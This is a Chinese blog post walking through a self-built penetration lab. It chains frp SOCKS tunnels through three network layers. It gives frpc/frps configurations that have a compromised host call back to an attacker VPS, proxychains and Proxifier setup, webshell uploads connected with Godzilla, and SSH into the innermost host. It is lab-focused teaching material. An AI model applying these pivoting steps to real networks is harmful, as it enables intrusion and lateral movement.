茗宸博客网

  • 首页
  • 数据通信
    • 华为
    • 思科
    • 浪潮科技
    • 锐捷
  • 硬件瞎折腾
    • 电脑折腾
    • 软路由
    • 服务器
    • 私有NAS
    • FPV无人机瞎折腾
  • 网络安全
    • CTF经验
    • 实战环境
    • 渗透实战
    • 蓝队加固
    • 近期赛事
    • 漏洞分享
  • 网络技术
    • 网络基础
    • 网络技术精品
    • linux基础
    • 计算机基础
  • 编程学习
    • python
  • 运行维护
  • 服务器搭建
  • 资源分享
  • 随手笔记
    • 随手笔记之ensp
    • 随手笔记之mysql
  • 日常
    • 拍摄
茗宸博客
随手笔记
  1. 首页
  2. 网络安全
  3. 渗透实战
  4. 正文

frp内网穿透(socks隧道)

2024年9月19日 18点热度 1人点赞 0条评论
内容目录

frp内网穿透(socks隧道)

前言

之前写了利用cs和[msf]进行内网穿透,今天写一下利用frp来进行内网穿透。

[frp]是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。

它由客户端(frpc)和服务端(frpc)组成,服务端放在攻击机上,客户端放到靶机上,然后进行连接便可以访问内网。

同时frp还分为linux版本和Windows版本,在使用时选择对应的版本即可。其它的就不再多说了,上网一搜便有很多链接下载的,直接上实验吧。

一、实验目的

通过frp搭建socks隧道,实现内网的访问

二、实验环境

下图是我自己搭建的实验环境,vps为我个人的服务器。kali为本次实验的攻击机,win7为介于公网和内网之间的边缘机器,其他均为内网机器。

img

三、实验过程

首先信息收集一下(虽然我们有上帝视角,但做戏做全套嘛),输入命令扫描整个192.168.145.*这个网段

nmap -sP 192.168.145.* 

可以看到存活的机器为171和224,171是kali的IP,那么就可以锁定224为目标机器的IP了

img

输入命令探测其端口开放等信息,可以看到开放了很多端口,其机器系统为win7。那么我们直接用ms17_010漏洞来拿到win7的shell

nmap -O 192.168.145.224

img

也是成功拿到shell了好吧,具体怎么操作可以看我之前的文章我在这里

img

这里我们通过ipconfig知道win7还有一个10.0.0.1网段,正常是无法直接访问的,因为这个是内网网段,我们需要建立代理

img

接下来我们配置一下frp客户端(frpc)和服务端(frps),frpc的配置文件为frpc.ini,同理frps的配置文件为frps.ini。输入命令查看配置文件

vim frps.ini

打开frps.ini是下面这样子的,bind_port为frps与frpc建立连接的端口,默认就行了

img

再配置一下frpc客户端,打开frpc.ini如下。

img

这里我说一下这些参数的意思,同时frpc.ini修改如下

[common]

server_addr = 116.*.*.*  //服务端IP,这里我是放在服务器上的

server_port = 7000       //与服务端建立连接的端口,要和服务端的一致

[target1]                //代理隧道的名称,这个随便定义

type = tcp              //通行类型,默认tcp就行

remote_port = 1234     //通信端口,注意通信端口和连接端口是两码事,一个作用于客户端与服务端的连接,一个作用于流量转发

plugin = socks5         //代理类型

现在我们要做的就是让win7与我们的vps建立socks代理隧道,通过代理来访问win10 10.0.0.3这个网段。先把frpc客户端和配置文件frpc.ini上传到win7,注意这里要上传windows版本的

img

查看一下,已经成功上传了

img

现在我们在vps启动一下frps服务端,这里要用linux版本的frps,因为我的vps是linux版本的

./frps -c frps.ini // -c表示指定文件

可以看到frps服务端等待连接

img

再通过shell,启动一下win7上面的frpc.exe客户端

start /b frpc.exe

可以看到名为target1的隧道成功连接,我们就成功建立的第一层代理

img

扫描之前,先打开/etc/proxychains.conf这个文件配置全局代理,代理类型、端口、ip要和服务端的一样

img

直接扫描10.0.0.3这台主机(上帝视角,假设我们已经知道10.0.0.1这个网段存在10.0.0.3主机),可以看到开放了80端口和445等端口。从这里也可以看出我们的流量是怎么跑的,本地流量先跑到vps116...*上面,再转发到win710.0.0.2,通过win7来把流量转发到win10 10.0.0.3

img

既然开启了80端口,那在我们的浏览器上添加代理即可访10.0.0.3

img

可以看到是个文件上传漏洞(小皮一键部署环境就行了,这里为了方便,没有做过滤,支持任意文件上传),我们上传个木马getshell即可

img

上传木马就不演示了,随便上传个一句话木马就行了。然后用蚁剑连接一下,老规矩先配置代理,因为我们的木马实在内网主机里面的。代理协议选socks5,IP和端口与服务端一致

img

在蚁剑上显示是连接成功滴

img

但是不知道为啥点进去一直显示错误,检查了代理没问题的,就是访问不了win10的文件???有师傅知道为啥的话,恳请指点一二。

img

既然蚁剑不行,那我们换godzilla来连接我们木马。godzilla需要网上自行下载,输入命令

java -jar godzilla.jar

img

点击目标->添加,添加我们木马的路径以及代理(注意端口、IP要和服务端一致)

img

用godzilla可以添加成功

img

直接右键进入命令终端看看,ipconfig看到还有一个10.0.1.1网段,同理给10.0.0.3挂上代理才可以访问10.0.1.1网段

img

还是用这图来解释一下,现在我们已经让vps和win7建立了代理,我们的流量从kali转发到vps(因为我们在kali里面配置了全局代理嘛),再从vps转发到win7,再从win7转发到win10 10.0.0.3。那为啥要通过win7才能访问win10 10.0.0.3呢,因为win7和win10都在10.0.0.1网段中嘛,只有同一网段的主机才能互相访问。

img

同理我们想访问win10 10.0.1.3,是不是要给win10 10.0.1.2这台主机挂上代理才行,让win7与win10 10.0.1.2建立连接。win7再上传一个服务端frps.exe和frps.ini,win10 10.0.1.2上传客户端frpc.exe和frpc.ini

upload /home/wlw666/桌面/frp_windows/frpc.exe c://

上传之前先配置一下frps.ini,再把frps.exe服务端和frps.ini上传到win7

[common]

bind_addr = 10.0.0.2  //因为win7有两个网段,要标明是哪一个网段的iP。而且这个ip的网段要和我们将要访问的主机的ip是同一网段

bind_port = 7000      //连接端口不用改

ok啊,这边也是成功上传到win7了

img

然后我们再配置一下frpc.ini,再把frpc.exe客户端和frpc.ini上传到win10 10.0.1.2

[common]

server_addr = 10.0.0.2  //这里iP填服务端的,现在我们的服务端为win7,就填win7的ip

server_port = 7000      //连接端口不变

[target1]

type = tcp              //类型不变

remote_port = 1234      //流量转发端口变不变都可以

plugin = socks5         //代理类型不用变

这边看到也是成功上传了好吧

img

这里我说一下之前我有看到一篇文章,说是建立二层frp代理的话,要修改第一层代理的frpc.ini。也就是修改上面我们传上win7的frpc.ini,不过我没有修改好像也可以???有懂的师傅恳请指点一二,这里我就顺便说一下怎么修改吧

[common]

server_addr = 116.*.*.*

server_port = 7000

[target1]

type = tcp

remote_port = 1234

#plugin = socks5      //把这句注释掉,添加下面这两句话

local_port = 1234     //指定本地转发流量端口,这里为了方便也用1234

local_ip = 10.0.0.2   //本地ip

修改完之后重新把frpc.ini上传到win7,再重启frpc.exe即可。这里我没有去修改所以就跳过这一步,直接运行刚刚上传到win7的frps.exe,还有上传到win10 10.0.1.2的frpc.exe。启动之后在shell这里会显示连接成功,现在我们就成功建立了第二层代理

img

此时我们再配置kali的全局代理,打开同样的文件,在第一次配置的代理下面添加即可

img

然后我们就可以扫描10.0.1.3这台主机了(同理,上帝视角已经知道这个网段有这台主机),这里看到开放80端口,老规矩挂代理,上浏览器访问

img

这里直接在浏览器挂代理好像不行,要挂个全局代理再在浏览器挂代理才行。我的理解是浏览器只能挂一层代理,如果你开第二层代理那么第一层代理就会断开,所以我们要在电脑开个全局代理。如果理解的不对,还望有懂的师傅指点一下。这里我用proxifier来进行全局代理,添加代理服务,地址填第一层代理frps服务端的ip,这里是填我的vps的地址

img

点击Proxification Rules添加一下代理规则

img

点击add,name随便取一个。Target hosts添加我们想访问的网段,因为我们要访问10.0.1.1网段就得先访问10.0.0.1网段,所以两个都要添加,按照我下面方式添加就行。Action选择我们刚刚添加的代理服务

img

最后再在浏览器添加一下代理并且开启即可访问10.0.1.3

img

也是成功访问好吧,这里显示是命令执行漏洞且参数为d,那就好办了。直接写入一句话木马,再用godzilla连接即可getshell。

img

对了,这里说一下用godzilla连接的话要重新启动一下才能成功

proxychains java -jar godzilla.jar  //在启动命令前加个proxychains

成功getshell,然后就是信息收集

img

ipconfig看到win10 10.0.1.3还有另外一个网段为10.0.2.1

img

这里我还是用这个图片说一下,现在我们已经挂了两层代理,可以直接访问到win10 10.0.1.3。但是我们如果要访问10.0.2.1网段的主机是不是得在win10 10.0.1.2和win10 10.0.1.3建立连接,也就是挂第三层代理。那么我们最终的流量会通过win10 10.0.1.3转发到我们的10.0.2.1网段的主机中

img

先配置一下我们的frps.ini,再把它和frps.exe服务端上传到win10 10.0.1.2

[common]

bind_addr = 10.0.1.2

bind_port = 7000

再配置一下frpc.ini,同样把它和frpc.exe服务端上传到win10 10.0.1.3

[common]

server_addr = 10.0.1.2

server_port = 7000

[target1]

type = tcp

remote_port = 1234

plugin = socks5

然后再启动一下即可,启动之后再配置一下/etc/proxychains,同样直接在下面添加我们的第三层代理即可

img

然后扫描一下10.0.2.3这台主机(上帝视角),发现开放了22、80端口

img

在全局代理这里添加了10.0.2.*这个网段

img

然后在浏览器添加第三层代理,居然访问不了10.0.2.3 ???就很奇怪,没搞懂是怎么回事,有懂的师傅恳请指点一下。

img

既然网站访问不了,那就换下思路。上面我们知道它开启了22端口,我们可以ssh远程连接一下

proxychains ssh root@10.0.2.3  

然后输入密码即可远程连接成功

img

至此,三层内网穿透便成功了

四、结语

在实验过程中还是遇到了挺多的问题,但好在大多都解决了。不过还是遗留了一些不懂的问题,等以后再慢慢研究了。最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

文章知识点与官方知识档案匹配,可进一步学习相关知识

标签: 暂无
最后更新:2024年9月19日

站长

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

站长

这个人很懒,什么都没留下

最新 热点 随机
最新 热点 随机
Linux systemctl 命令 linux的service IPTABLES一文通 网安路线图 DOS相关常用命令了一篇了解大全 MYSQL数据库学习记录
IPTABLES一文通linux的serviceLinux systemctl 命令搬运 linux最常用的20个命令搬运 浅谈社工搬书Linux操作系统应用与安全项目化实战教程
4500块性价比3A游戏单 MYSQL数据库学习记录 MBR分析 单臂路由与三层交换机之间通信 红队命令合集 123 张图详解 177 个计算机网络名词
文章目录
  • frp内网穿透(socks隧道)
    • 前言
    • 一、实验目的
    • 二、实验环境
    • 三、实验过程
    • 四、结语

COPYRIGHT © 2023 茗宸bk. ALL RIGHTS RESERVED.

站长微信:printJ7

鲁ICP备2024114188号

鲁公网安备37130202372760号